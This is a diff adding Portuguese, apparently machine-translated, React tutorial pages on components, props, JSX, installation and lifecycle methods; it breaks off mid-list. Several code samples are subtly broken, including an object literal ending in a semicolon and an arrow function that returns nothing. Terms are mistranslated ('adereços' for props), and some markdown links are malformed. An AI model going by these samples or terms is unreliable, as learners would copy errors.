@@ -0,0 +1,69 @@
+---
+title: Functional Components vs Class Components
+localeTitle: Componentes Funcionais vs Componentes de Classe
+---
+## Componentes Funcionais vs Componentes de Classe
+
+Existem basicamente dois componentes no React:
+
+*   Componentes Funcionais
+*   Componentes de Classe
+
+## Componentes Funcionais
+
+*   Componentes funcionais são funções básicas do JavaScript. Estas são tipicamente funções de seta, mas também podem ser criadas com a palavra-chave de `function` regular.
+*   Às vezes, são chamados de componentes "burros" ou "sem estado", pois simplesmente aceitam dados e os exibem de alguma forma; ou seja, eles são os principais responsáveis ​​pela renderização da interface do usuário.
+*   Os métodos de ciclo de vida de reação (por exemplo, `componentDidMount` ) não podem ser usados ​​em componentes funcionais.
+*   Não há nenhum método de renderização usado em componentes funcionais.
+*   Esses são os principais responsáveis ​​pela interface do usuário e são normalmente apenas de apresentação (por exemplo, um componente Button).
+*   Componentes funcionais podem aceitar e usar adereços.
+*   Componentes funcionais devem ser favorecidos se você não precisar usar o estado Reagir.
+
+```js
+import React from "react"; 
+ 
+ const Person = props => ( 
+  <div> 
+    <h1>Hello, {props.name}</h1> 
+  </div> 
+ ); 
+ 
+ export default Person; 
+```
+
+## Componentes de Classe
+
+*   Componentes de classe fazem uso da classe ES6 e estendem a classe `Component` no React.
+*   Às vezes chamados de componentes "inteligentes" ou "com estado", pois tendem a implementar lógica e estado.
+*   Os métodos de ciclo de vida de reação podem ser usados ​​dentro de componentes de classe (por exemplo, `componentDidMount` ).
+*   Você passa para os componentes da classe e acessa-os com `this.props`
+
+```js
+import React, { Component } from "react"; 
+ 
+ class Person extends Component { 
+  constructor(props){ 
+    super(props); 
+    this.state = { 
+      myState: true; 
+    } 
+  } 
+ 
+  render() { 
+    return ( 
+      <div> 
+        <h1>Hello Person</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ export default Person; 
+```
+
+## Mais Informações
+
+*   [Reagir Componentes](https://reactjs.org/docs/components-and-props.html)
+*   [Componentes funcionais vs classe](https://react.christmas/16)
+*   [Componentes funcionais Stateful vs Stateless em React](https://code.tutsplus.com/tutorials/stateful-vs-stateless-functional-components-in-react--cms-29541)
+*   [Estado e LifeCycle](https://reactjs.org/docs/state-and-lifecycle.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/handling-data-with-props-in-react/index.md b/client/src/guide/portuguese/react/handling-data-with-props-in-react/index.md
new file mode 100644
index 0000000000..f0e0436a89
--- /dev/null
+++ b/client/src/guide/portuguese/react/handling-data-with-props-in-react/index.md
@@ -0,0 +1,106 @@
+---
+title: Handling Data with Props in React
+localeTitle: Manipulando dados com adereços no React
+---
+## Manipulando dados com adereços no React
+
+Adereços fornecem uma maneira de passar e acessar dados em componentes do React.
+
+Os dados são passados ​​para os componentes do React como um atributo no JSX.
+
+```javascript
+<MyComponent someAttribute={data.value} /> 
+```
+
+No JSX, as chaves indicam uma expressão JavaScript que deve retornar um valor. Os dados passados ​​são acessados ​​via adereços no componente definido.
+
+```javascript
+const MyComponent = props => { 
+  <p>{props.someAttribute}</p> 
+ }; 
+```
+
+Agora vamos percorrer um exemplo no CodePen.
+
+### Começando
+
+Se você ainda não o fez, vá em frente e inscreva-se para uma [conta gratuita da CodePen](https://codepen.io/accounts/signup/user/free) .
+
+Crie uma nova caneta selecionando "Criar"> "Nova caneta" ao lado da sua foto de perfil do CodePen.
+
+Em seguida, adicionaremos as bibliotecas apropriadas para renderizar nossos componentes React.
+
+Abra o painel de configurações do JavaScript selecionando "Configurações"> "JavaScript". Selecione "Babel" em "Preprocessador JavaScript".
+
+Em seguida, vamos adicionar nossas bibliotecas React. Em "JavaScript externo", selecione a lista suspensa "Adicionar rápido" e adicione as bibliotecas "Reagir" e "Reagir DOM".
+
+### Usando Adereços
+
+Primeiro vamos definir alguns dados fictícios no nosso arquivo JavaScript.
+
+```javascript
+const blogData = { 
+  title: 'My blog title', 
+  body: 'Arcu viverra dolor eros interdum, quis nonummy accusantium at lorem luctus iaculis.' 
+ }; 
+```
+
+Em seguida, vamos definir nossos componentes do blog.
+
+```javascript
+const Heading = () => { 
+  return ( 
+    <h1>My Blog</h1> 
+  ); 
+ }; 
+ 
+ const Blog = props => { 
+  return ( 
+    <div> 
+      <h2>{props.title}</h2> 
+      <p>{props.body}</p> 
+    </div> 
+  ); 
+ }; 
+```
+
+Percebeu como usamos o objeto props para renderizar os valores de título e corpo que serão passados ​​para o componente Blog. Adereços é somente leitura ou imutável, então não precisamos nos preocupar em mudar os valores dos adereços.
+
+Antes de escrevermos nosso componente App, precisamos proteger nosso componente para definir o tipo de variável que será transmitido para cada prop. Vamos definir isso usando React.PropTypes. Adicione o seguinte ao seu arquivo JavaScript.
+
+```javascript
+Blog.propTypes = { 
+  title: React.PropTypes.string, 
+  body: React.PropTypes.string 
+ }; 
+```
+
+Aqui estamos definindo que os dados passados ​​para o nosso componente Blog serão strings para título e corpo. Confira [a documentação do React](https://reactjs.org/docs/typechecking-with-proptypes.html) para uma lista de todos os propTypes.
+
+Agora vamos juntar isso em um componente de aplicativo e passar nossos dados.
+
+```javascript
+const App = props => { 
+  return ( 
+    <div> 
+      <Heading /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+      <Blog title={blogData.title} body={blogData.body} /> 
+    </div> 
+  ); 
+ }; 
+```
+
+Finalmente, vamos renderizar nosso aplicativo (não se esqueça de adicionar uma tag raiz `<div>` ao arquivo HTML):
+
+```javascript
+ReactDOM.render( 
+  <App />, 
+  document.getElementById('root') 
+ ); 
+```
+
+Agora você deve ver nossos componentes do blog renderizados com os dados fictícios transmitidos via adereços.
+
+Você pode ver um exemplo de CodePen [aqui](https://codepen.io/trey-davis/pen/MvdZGX) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/hello-world/index.md b/client/src/guide/portuguese/react/hello-world/index.md
new file mode 100644
index 0000000000..ffbee5ff08
--- /dev/null
+++ b/client/src/guide/portuguese/react/hello-world/index.md
@@ -0,0 +1,67 @@
+---
+title: Hello World
+localeTitle: Olá Mundo
+---
## Olá Mundo !!
+
+Cada aprendizagem de línguas começa com o exemplo do Hello World Tradicional. Aqui, você é apresentado ao React com o mesmo programa HelloWorld.
+
+Tudo no React é um componente.
+
+Mas antes disso, precisamos ter o node.js e o npm instalados no computador. Opcionalmente, podemos usar o CRA (Create React App), que é uma ferramenta criada por desenvolvedores do Facebook para ajudá-lo a criar aplicativos React. Isso evita configurações e configurações demoradas. Basta executar um comando e criar o aplicativo reagir configura as ferramentas necessárias para iniciar seu projeto React.
+
+Podemos instalá-lo através dos seguintes comandos
+```
+npm install -g create-react-app 
+ 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+```
+
+A linha de comando deve fornecer uma saída onde você pode encontrar o aplicativo no navegador. O padrão deve ser localhost: 8080. Se você estiver usando apenas o IE ou o Edge em sua máquina Windows, recomendo que você instale o Chrome também para acessar o ambiente de desenvolvedor e as Ferramentas do desenvolvedor do React, que estão disponíveis como extensão do Chrome.
+
+![alt reagir página inicial](https://cdn-images-1.medium.com/max/800/1*Qcry5pCXIy2KeNRsq3w7Bg.png)
+
+#### src / App.js
+
+copie o código abaixo e cole-o em src / App.js
+
+```javascript
+  import React from 'react'; 
+ 
+  class App extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <p>Hello World !!</p> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default App; 
+```
+
+Se verificarmos o arquivo index.js na pasta src, descobrimos que o App.js acima é chamado em index.js e, em seguida, renderizado.
+
+```javascript
+// Other code 
+ import App from './App'; // The App component is imported 
+ 
+ // Other code 
+ ReactDOM.render(<App />, 
+ document.getElementById('root'));  //The <App /> is the way components are called in react after importing them 
+ 
+ // Other code 
+```
+
+Acima, App.js é chamado de componente. Normalmente, fazemos vários componentes e os reunimos em App.js, que serão então renderizados em index.js, que é então renderizado no div raiz que está no index.html.
+
+Parabéns !! Você criou seu primeiro aplicativo React Hello world. Você aprende mais sobre o Reagir nos próximos artigos.
+
+Codificação Feliz !!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/higher-order-components/index.md b/client/src/guide/portuguese/react/higher-order-components/index.md
new file mode 100644
index 0000000000..af663c2399
--- /dev/null
+++ b/client/src/guide/portuguese/react/higher-order-components/index.md
@@ -0,0 +1,53 @@
+---
+title: Higher-Order Components
+localeTitle: Componentes de ordem superior
+---
+## Componentes de ordem superior
+
+Em React, um **componente de ordem mais alta** (HOC) é uma função que usa um componente e retorna um novo componente. Os programadores usam HOCs para obter a **reutilização lógica de componentes** .
+
+Se você já usou o Redux's `connect` , você já trabalhou com componentes de alta ordem.
+
+A ideia principal é:
+
+```jsx
+const EnhancedComponent = enhance(WrappedComponent); 
+```
+
+Onde:
+
+*   `enhance` é o componente de ordem superior;
+*   `WrappedComponent` é o componente que você deseja aprimorar; e
+*   `EnhancedComponent` é o novo componente criado.
+
+Este poderia ser o corpo da `enhance` HOC:
+
+```jsx
+function enhance(WrappedComponent) { 
+  return class extends React.Component { 
+    render() { 
+      const extraProp = 'This is an injected prop!'; 
+      return ( 
+        <div className="Wrapper"> 
+          <WrappedComponent 
+            {...this.props} 
+            extraProp={extraProp} 
+          /> 
+        </div> 
+      ); 
+    } 
+  } 
+ } 
+```
+
+Nesse caso, `enhance` retorna uma **classe anônima** que estende `React.Component` . Este novo componente está fazendo três coisas simples:
+
+*   Renderizando o `WrappedComponent` dentro de um elemento `div` ;
+*   Passando seus próprios props para o `WrappedComponent` ; e
+*   Injetando um suporte extra para o `WrappedComponent` .
+
+Os HOCs são apenas um padrão que usa o poder da natureza composicional de React. **Eles adicionam recursos a um componente** . Há muito mais coisas que você pode fazer com eles!
+
+## Outros recursos
+
+*   [React docs: Componentes de alta ordem](https://reactjs.org/docs/higher-order-components.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/index.md b/client/src/guide/portuguese/react/index.md
new file mode 100644
index 0000000000..c016954a64
--- /dev/null
+++ b/client/src/guide/portuguese/react/index.md
@@ -0,0 +1,232 @@
+---
+title: React
+localeTitle: Reagir
+---
+# Reagir
+
+React é uma biblioteca JavaScript para criar interfaces com o usuário. Ele foi eleito o mais amado na categoria "Frameworks, bibliotecas e outras tecnologias" da Pesquisa de desenvolvedores do Stack Overflow 2017. 1
+
+React é uma biblioteca JavaScript e os aplicativos React criados nele são executados no navegador, NÃO no servidor. Aplicativos desse tipo só se comunicam com o servidor quando necessário, o que os torna muito rápidos em comparação com os sites tradicionais que forçam o usuário a esperar que o servidor renderize novamente páginas inteiras e as envie para o navegador.
+
+O React é usado para criar interfaces com o usuário - o que o usuário vê na tela e interage para usar seu aplicativo da web. Essa interface é dividida em componentes, em vez de ter uma página enorme que você divide em partes menores conhecidas como componentes. Em termos mais gerais, essa abordagem é chamada de modularidade.
+
+*   É declarativo: o React usa um paradigma declarativo que facilita o raciocínio sobre seu aplicativo.
+*   É eficiente: o React calcula o conjunto mínimo de alterações necessárias para manter o seu DOM atualizado.
+*   E é flexível: o React funciona com as bibliotecas e estruturas que você já conhece.
+
+## Por que aprender Reagir?
+
+1.  Reagir envolve Composição, que é um monte de componentes que envolvem as funcionalidades em um contêiner encapsulado. Muitos sites populares usam o React implementando o padrão arquitetural MVC. Facebook (Parcialmente), Instagram (Completamente), Khan Academy (Parcialmente), Codecademy (Parcialmente), New York Times (Parcialmente), Yahoo Mail (Completamente), o novo aplicativo de galeria de fotos e vídeos do Dropbox Carrossel (Completamente) são os sites populares conhecidos estar usando Reagir. Como esses aplicativos grandes são criados usando o React? A resposta simples é construir pequenos aplicativos ou componentes. Exemplo:
+
+```jsx
+const Component2 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component3 = () => { 
+  return ( 
+    <div></div> 
+  ); 
+ }; 
+ const Component1 = () => { 
+  return ( 
+    <div> 
+      <Component2 /> 
+      <Component3 /> 
+    </div> 
+  ); 
+ }; 
+ 
+ ReactDOM.render( 
+  <Component1 />, 
+  document.getElementById("app") 
+ ); 
+```
+
+2.  Reagir é declarativo para a maior parte em que estamos mais preocupados com o que fazer, em vez de como fazer uma tarefa específica. A programação declarativa é um paradigma de programação que expressa a lógica de uma computação sem descrever seu fluxo de controle. A programação declarativa vem com certas vantagens, como redução de efeitos colaterais (ocorre quando modificamos qualquer estado ou transformamos algo ou fazemos uma requisição de API), minimizando a mutabilidade (muito abstraído), melhor legibilidade, menores erros.
+    
+3.  Fluxo de dados unidirecional. A interface do usuário no React é, na verdade, a função do estado que significa que, à medida que o estado é atualizado, ele também atualiza a interface do usuário. Portanto, nossa interface do usuário progride conforme o estado muda.
+    
+
+## Vantagens de Reagir
+
+Algumas razões para usar o React são:
+
+1.  Rápido. Os aplicativos feitos no React podem lidar com atualizações complexas e ainda se sentem rápidos e responsivos.
+2.  Modular Em vez de escrever arquivos grandes e densos de código, você pode escrever muitos arquivos menores e reutilizáveis. A modularidade do React pode ser uma bela solução para os [problemas de manutenção](https://en.wikipedia.org/wiki/Spaghetti_code) do JavaScript.
+3.  Escalável Programas grandes que exibem muitos dados alterados são onde o React apresenta o melhor desempenho.
+4.  Flexível. Você pode usar o React para projetos interessantes que não têm nada a ver com a criação de um aplicativo da web. As pessoas ainda estão descobrindo o potencial do React. [Há espaço para explorar](https://medium.mybridge.co/22-amazing-open-source-react-projects-cb8230ec719f) .
+
+### DOM virtual
+
+A mágica do React vem da interpretação do DOM e sua estratégia para criar interfaces de usuário.
+
+O React usa o DOM virtual para renderizar uma árvore HTML virtualmente primeiro e, a cada vez que um estado muda e obtém uma nova árvore HTML que precisa ser levada ao DOM do navegador, em vez de gravar toda a nova árvore, o React só grava diferença entre a nova árvore e a árvore anterior (desde que o React tenha ambas as árvores na memória). Esse processo é conhecido como Reconciliação de Árvore.
+
+### Reconciliação
+
+O React possui um algoritmo de diferenciação inteligente que ele usa para regenerar apenas em seu nó DOM o que realmente precisa ser regenerado enquanto mantém tudo como está. Esse processo de diferenciação é possível devido ao DOM virtual do React.
+
+Usando o DOM virtual, o React mantém a última versão do DOM na memória e quando tiver uma nova versão DOM para levar ao navegador, essa nova versão do DOM também estará na memória, então o React pode computar a diferença entre as versões novas e antigas .
+
+O React instruirá o navegador para atualizar apenas o diff computado e não o nó DOM inteiro. Não importa quantas vezes nós regeneramos nossa interface, o React levará para o navegador apenas as novas atualizações “parciais”.
+
+## Reagir do zero
+
+Você gostaria de começar a aprender os fundamentos da reação sem ficar atolado criando um ambiente de desenvolvimento? As chances são de que, se você é novo no desenvolvimento da Web, configurar um ambiente de desenvolvimento pode deixá-lo um pouco intimidado quando estiver apenas tentando aprender Reagir ou simplesmente aprender Reagir pela primeira vez.
+
+Neste artigo, vamos ver como podemos começar a usar o React usando apenas um editor de texto, um navegador e nada mais.
+
+[!["Assista](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[### 1 - Configure o Código da Placa da Caldeira com Emmet
+
+Vamos começar com o passo 1. Começaremos com um arquivo no nosso navegador chamado “index.html”. Começaremos com o código HTML do código da placa de caldeira. Para um início rápido, recomendo usar o Emmet com qualquer editor de texto que você tenha e, na primeira linha, digitar `html:5` e pressionar a tecla Shift para obter o código abaixo. Ou você pode ir em frente e copiar e colar o código abaixo.
+
+```javascript
+html:5 
+```
+
+Isso resultará no seguinte código:
+
+```javascript
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+  <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+  <title>Document</title> 
+ </head> 
+ <body> 
+ 
+ </body> 
+ </html> 
+```
+
+Nós podemos preencher o título de "Time to React!".
+
+Este conteúdo não aparecerá na sua página da web. Qualquer coisa na seção head do arquivo HTML será um metadado que nosso navegador usará para interpretar nosso código na seção do corpo. Este título vai ser o que aparece na aba da nossa página, não na página.
+
+### 2 - Obtenha tags de script para aproveitar o poder das bibliotecas React e Babel
+
+Ok, o item um é retirado da nossa lista. Vamos ver o item dois. Vamos configurar nosso ambiente de desenvolvedor usando tags de script para trazer React e Babel. Este não é um ambiente de desenvolvedor da vida real. Isso seria uma configuração bastante elaborada. Isso também nos deixaria com um monte de código de placa de caldeira e bibliotecas que nos tirariam do assunto de aprender o básico do React. O objetivo desta série é passar por cima da sintaxe básica do React e entrar diretamente na codificação. Vamos usar tags `<script>` para trazer a Biblioteca React, a biblioteca React DOM (por que) e a biblioteca Babel.
+
+```javascript
+<head> 
+  ... 
+  <!-- REACT LIBRARY --> 
+  <script src="https://unpkg.com/react@15.5.4/dist/react.js"></script> 
+  <!-- REACT DOM LIBRARY --> 
+  <script src="https://unpkg.com/react-dom@15.5.4/dist/react-dom.js"></script> 
+  <!-- BABEL LIBRARY --> 
+  <script src="https://cdnjs.cloudflare.com/ajax/libs/babel-standalone/6.25.0/babel.min.js"></script> 
+  ... 
+  <title>Time to React!</title> 
+ </head> 
+```
+
+Você está livre para usar versões mais atualizadas dessas bibliotecas à medida que elas saem. Eles não devem criar nenhuma alteração significativa no conteúdo que estamos cobrindo.
+
+o que você está fazendo aqui? O elemento HTML `<script>` é usado para incorporar ou referenciar um script executável. O atributo "src" aponta para os arquivos de script externos da biblioteca React, da biblioteca ReactDOM e da biblioteca Babel. É como se você tivesse um barbeador elétrico. Literalmente não é bom para você, não importa o quão sofisticado o barbeador elétrico, a menos que você possa conectá-lo à parede e obter acesso à eletricidade. Nosso código React que escreveremos não será bom para nós se nosso navegador não puder se conectar a essas bibliotecas para entender e interpretar o que estamos fazendo. É assim que nossa aplicação vai ganhar o poder do React, será como inserimos o React no Dom. A razão pela qual temos React e ReactDOM como duas bibliotecas diferentes é porque há casos de uso como o React Native, onde a renderização para o DOM não é necessária para o desenvolvimento móvel, então a biblioteca foi dividida para que as pessoas decidissem pelo que precisavam no projeto em que estão trabalhando. Como precisaremos do nosso React para chegar ao DOM, usaremos os dois scripts. O Babel é como aproveitamos o script ECMA além do ES5 e lidamos com algo chamado JSX (JavaScript como XML) que usaremos no React. Vamos dar uma olhada mais profunda na magia de Babel em uma próxima lição :) Certo, concluímos as etapas 1 e 2. Configuramos nosso código de placa de caldeira e configuramos nosso ambiente de desenvolvedor.
+
+### 3 - Render Reagir ao DOM
+
+Nossos próximos dois passos serão escolher nosso local no DOM para o qual queremos renderizar nosso conteúdo React. E usar outra tag de script para nosso conteúdo React dentro do corpo. Geralmente, como uma boa separação de interesses, isso seria em seu próprio arquivo, em seguida, vinculado a este documento html. Faremos isso mais tarde nas próximas lições. Por enquanto, vamos deixar isso acontecer dentro do corpo do documento html em que estamos atualmente. Agora vamos ver como é simples escolher um local no DOM para renderizar nosso conteúdo React. Nós vamos dentro do corpo. E a melhor prática não é apenas lançar o React na tag body a ser exibida, mas criar um elemento separado, geralmente um div, que você pode tratar como um elemento raiz para inserir o conteúdo do React.
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+ </body> 
+```
+
+Vamos criar um simples elemento `<div>` e dar a ele um id de "app". Seremos capazes de segmentar esse local para inserir nosso conteúdo React da mesma forma que você pode usar CSS para segmentar um ID para o estilo de sua escolha. Qualquer conteúdo reagente será renderizado nas tags div com o ID do aplicativo. Enquanto isso, deixaremos um texto dizendo que "O Reagir ainda não foi renderizado" Se vemos isso quando visualizamos nossa página, isso significa que em algum lugar perdemos a renderização Reagir. Agora, vamos em frente e criar uma tag de script dentro do nosso corpo, onde vamos criar com reagir pela primeira vez. A sintaxe que vamos precisar para a nossa tag de script é adicionar um atributo de “type”. Isso especifica o tipo de mídia do script. Acima de nós, usamos um atributo src que apontava para os arquivos de script externos da biblioteca React, da biblioteca ReactDOM e da biblioteca Babel.
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  </script> 
+ </body> 
+```
+
+O "tipo" de script que estamos usando, vamos incluir aspas e defini-lo como `"text/babel"` . Nós precisaremos dessa habilidade para usar o babel imediatamente enquanto trabalhamos com o JSX. Primeiro, vamos renderizar Reagir ao DOM. Usaremos o método `ReactDOM.render()` para fazer isso. Este será um método e lembre-se de que um método é apenas uma função anexada a um objeto. Esse método levará dois argumentos.
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render(React What, React Where); 
+ </script> 
+ </body> 
+```
+
+O primeiro argumento é o "o quê" de reagir. O segundo argumento é o "onde" da localização que você quer que seja colocado no DOM. Vamos começar chamando nosso método ReactDOM.render (). Nosso primeiro argumento será nosso JSX.
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+  ReactDOM.render( 
+    <h1>Hello World</h1>, 
+    React Where 
+  ); 
+ </script> 
+ </body> 
+
+```](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) 
+
+[O](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) [funcionário reage estado docs](https://reactjs.org/docs/introducing-jsx.html) : “Esta sintaxe de tag engraçada não é nem uma string nem um HTML. É chamado de JSX e é uma extensão de sintaxe para JavaScript. Recomendamos usá-lo com o React para descrever como deve ser a interface do usuário. O JSX pode lembrá-lo de uma linguagem de modelo, mas ela vem com todo o poder do JavaScript. O JSX produz React "elements" ”.
+
+Muitas vezes, JSX enlouquece as pessoas que foram desenvolvedores por um tempo, porque parece HTML. Em uma idade muito precoce, os desenvolvedores aprendem a separação de interesses. O HTML tem o seu lugar, o CSS tem o seu lugar e o JavaScript tem o seu lugar. O JSX parece desfocar as linhas. Você está usando o que parece ser HTML, mas como o Facebook diz, vem com todo o poder do JavaScript.
+
+Isso pode enlouquecer veteranos, então muitos tutoriais reagem sem o JSX, o que pode ser bastante complexo. Nós não vamos fazer isso. Porque este curso é direcionado para aqueles que são muito jovens em suas carreiras, você não pode trazer as bandeiras vermelhas quando você vê esta sintaxe.
+
+E o JSX é realmente muito intuitivo. Você provavelmente pode facilmente ler esse código e ver que essa será a maior tag de cabeçalho que exibe o texto “Hello World”. Nenhum mistério e muito simples. Agora, vamos ver o que seria nosso segundo argumento.
+
+```javascript
+<body> 
+  <div id="app">React has not rendered yet</div> 
+  <script type="text/babel"> 
+    ReactDOM.render( 
+      <h1>Hello World</h1>, 
+      document.getElementById("app") 
+    ); 
+  </script> 
+ </body> 
+```
+
+É aqui que queremos que nosso conteúdo reagente seja renderizado ao dom. Você provavelmente já fez isso algumas vezes no passado. Vamos apenas digitar `document.getElementById()` . E vamos passar para o argumento do id do aplicativo. E é isso. Agora, segmentaremos o div com o ID do aplicativo para inserir nosso conteúdo de reação.
+
+Queremos garantir que nosso conteúdo seja salvo. Vá em frente e abra isso no navegador e você verá "Hello World". Como você provavelmente pode imaginar, usar o React não é a maneira mais rápida ou melhor de criar um aplicativo Hello World. Ainda não estamos vendo os benefícios disso. Mas agora sabemos que tudo está funcionando.
+
+Vá em frente e abra o console e olhe para os "elementos". Você pode fazer isso em um mac com o comando + shift + j ou no Windows e Linux: Ctrl + Shift + J
+
+Se você clicar na tag head, poderemos ver nossas bibliotecas de scripts incluídas. Então podemos ir ao corpo do nosso documento. Vamos clicar no nosso div com o id de "app". E quando vemos a nossa tag `<h1>` com o conteúdo "Hello World".
+
+[Ver o código inteiro aqui](https://github.com/robgmerrill/hello-react/blob/master/section-one/index.html)
+
+ou
+
+[!["Assista](http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[
+
+### Recapitular
+
+Então, vamos fazer uma rápida recapitulação. Na nossa tag head pegamos as tags de script para React, ReactDOM e Babel. Estas são as ferramentas que nosso navegador precisa em seus metadados para ler nosso código React e JSX em específico. Em seguida, localizamos a posição no DOM em que desejamos inserir nosso React, criando um elemento div com o ID de "app". Em seguida, criamos uma tag de script para inserir nosso código React. Usamos o método ReactDOM.render () que leva dois argumentos. O "o quê" do conteúdo do React, neste caso o nosso JSX, e o segundo argumento é o "where" em que você deseja inserir o conteúdo do React no DOM. Neste caso, é o local com o id de "app".
+
+](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI)
+
+[Como alternativa ao JSX, você pode usar o compilador ES6 e Javascript como o Babel.](http://www.youtube.com/watch?feature=player_embedded&v=100pKUE3OPI) [https://babeljs.io/](https://babeljs.io/)
+
+### Mais Informações:
+
+*   [Página de Reação](https://reactjs.org/)
+*   [Twitter de Dan Abramov](https://twitter.com/dan_abramov)
+*   [Reagir Tutoriais em Egghead.io](https://egghead.io/browse/frameworks/react)
+
+### Fontes
+
+1.  ["Developer Survey Results 2017"](https://insights.stackoverflow.com/survey/2017#technology-most-loved-dreaded-and-wanted-frameworks-libraries-and-other-technologies) _Estouro de pilha._ Acesso em: 28 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/installation/index.md b/client/src/guide/portuguese/react/installation/index.md
new file mode 100644
index 0000000000..de99a9c4c5
--- /dev/null
+++ b/client/src/guide/portuguese/react/installation/index.md
@@ -0,0 +1,38 @@
+---
+title: Installation
+localeTitle: Instalação
+---
+## Instalando o React
+
+### Criando um novo projeto React
+
+Você pode simplesmente incorporar a biblioteca React em sua página da Web como 2 :
+
+```html
+
+<script src="https://cdnjs.cloudflare.com/ajax/libs/react/16.0.0/cjs/react.production.min.js"></script> 
+```
+
+Programadores inteligentes querem ter uma maneira mais prática e produtiva: [Criar Aplicativo de Reação](https://github.com/facebookincubator/create-react-app)
+
+```bash
+npm install -g create-react-app 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+```
+
+Isso configurará seu ambiente de desenvolvimento para que você possa usar os recursos JavaScript mais recentes, fornecer uma boa experiência de desenvolvedor e otimizar seu aplicativo para produção.
+
+`npm start` inicia um servidor de desenvolvimento que permite recarregar ao vivo 3 .
+
+Depois de concluir o projeto e estar pronto para implantar seu aplicativo na produção, você pode usar `npm run build` para criar uma compilação otimizada de seu aplicativo na pasta de `build` .
+
+#### Links úteis
+
+[Criar repositório do React App](https://github.com/facebookincubator/create-react-app#create-react-app-)
+
+#### Fontes
+
+[1\. O tutorial React na instalação](https://reactjs.org/docs/installation.html) [2\. Link para a biblioteca JavaScript mínima React em cdnjs.org](https://cdnjs.com/libraries/react) [3\. comando npm start](https://docs.npmjs.com/cli/start)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/jsx/index.md b/client/src/guide/portuguese/react/jsx/index.md
new file mode 100644
index 0000000000..37afe5eb5c
--- /dev/null
+++ b/client/src/guide/portuguese/react/jsx/index.md
@@ -0,0 +1,80 @@
+---
+title: JSX
+localeTitle: JSX
+---
+# JSX
+
+> JSX é a abreviação de JavaScript XML.
+
+JSX é uma expressão que usa instruções HTML válidas no JavaScript. Você pode atribuir essa expressão a uma variável e usá-la em outro lugar. Você pode combinar outras expressões JavaScript válidas e JSX nessas instruções HTML, colocando-as entre chaves ( `{}` ). O Babel compila ainda mais o JSX em um objeto do tipo `React.createElement()` .
+
+### Expressões de linha única e multilinha
+
+Expressão de linha única é simples de usar.
+
+```jsx
+const one = <h1>Hello World!</h1>; 
+```
+
+Quando você precisar usar várias linhas em uma única expressão JSX, escreva o código em um único parênteses.
+
+```jsx
+const two = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+```
+
+### Usando apenas tags HTML
+
+```jsx
+const greet = <h1>Hello World!</h1>; 
+```
+
+### Combinando a expressão JavaScript com tags HTML
+
+Podemos usar variáveis ​​JavaScript entre chaves.
+
+```jsx
+const who = "Quincy Larson"; 
+ const greet = <h1>Hello {who}!</h1>; 
+```
+
+Também podemos chamar outras funções JavaScript entre chaves.
+
+```jsx
+function who() { 
+  return "World"; 
+ } 
+ const greet = <h1>Hello {who()}!</h1>; 
+```
+
+### Apenas uma tag pai / mãe é permitida
+
+Uma expressão JSX deve ter apenas uma tag pai. Podemos adicionar várias tags aninhadas apenas no elemento pai.
+
+```jsx
+// This is valid. 
+ const tags = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+ 
+ // This is not valid. 
+ const tags = ( 
+  <h1>Hello World!</h1> 
+  <h3>This is my special list:</h3> 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+```
+
+### Mais Informações
+
+*   [Apresentando o JSX](https://reactjs.org/docs/introducing-jsx.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/life-cycle-methods-of-a-component/index.md b/client/src/guide/portuguese/react/life-cycle-methods-of-a-component/index.md
new file mode 100644
index 0000000000..38691a2e14
--- /dev/null
+++ b/client/src/guide/portuguese/react/life-cycle-methods-of-a-component/index.md
@@ -0,0 +1,77 @@
+---
+title: Life Cycle Methods Of A Component
+localeTitle: Métodos de Ciclo de Vida de um Componente
+---
## Métodos de Ciclo de Vida de um Componente
+
+Quando começamos a trabalhar com componentes, precisamos executar várias ações para atualizar o estado ou executar algumas ações quando algo muda nesse componente. Neste cenário, os métodos de ciclo de vida de um componente são úteis !! Então, vamos mergulhar neles neste artigo.
+
+Em termos gerais, podemos dividir os métodos do ciclo de vida em **3** categorias.
+
+1.  Montagem
+2.  Atualizando
+3.  Desmontando
+
+Como os métodos do ciclo de vida são auto-explicativos, vou mencionar os nomes dos métodos. Por favor, sinta-se à vontade para contribuir com este artigo, se necessário.
+
+## Montagem:
+
+uma. `constructor()`
+
+b. `componentWillMount()`
+
+c. `render()`
+
+d. `componentDidMount()`
+
+## Atualizando:
+
